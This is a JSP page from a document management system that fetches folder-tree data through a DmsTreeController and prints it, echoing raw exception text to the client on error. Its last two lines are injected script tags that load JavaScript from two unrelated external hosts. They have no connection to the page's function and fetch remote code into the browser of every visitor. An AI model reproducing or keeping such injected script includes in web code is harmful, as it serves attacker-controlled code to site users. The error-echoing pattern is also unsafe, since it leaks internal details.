<%@ page contentType="text/html; charset=utf-8" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.GlobalConstant" %>
<%@ page import="com.dcivision.framework.DataSourceFactory" %>
<%@ page import="com.dcivision.framework.SessionContainer" %>
<%@ page import="com.dcivision.dms.core.DmsTreeController" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%
	String rootType = request.getParameter("rootType");
	Integer rootId = new Integer(request.getParameter("rootId"));
	Integer ownerId = new Integer(request.getParameter("ownerId"));
	Integer parentId = new Integer(request.getParameter("parentId"));
  String  permission = request.getParameter("permission");

	SessionContainer ctx = (SessionContainer)session.getAttribute(GlobalConstant.SESSION_CONTAINER_KEY);
  Connection conn = null;
	try {
		conn = DataSourceFactory.getConnection();
		DmsTreeController controller = new DmsTreeController(ctx, conn);
		String folderInfo = controller.getDmsTreeNodeStringInfoByParameters(rootType, rootId, ownerId, parentId, permission);
		out.clear();
		out.print(folderInfo);
	}catch (Exception ex) {
		LogFactory.getLog(this.getClass()).error(ex, ex);
		out.clear();
		out.print("ERROR:"+ex);
	}finally {
		try {conn.close();}catch (Exception ex) {} finally {conn = null;}
	}
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>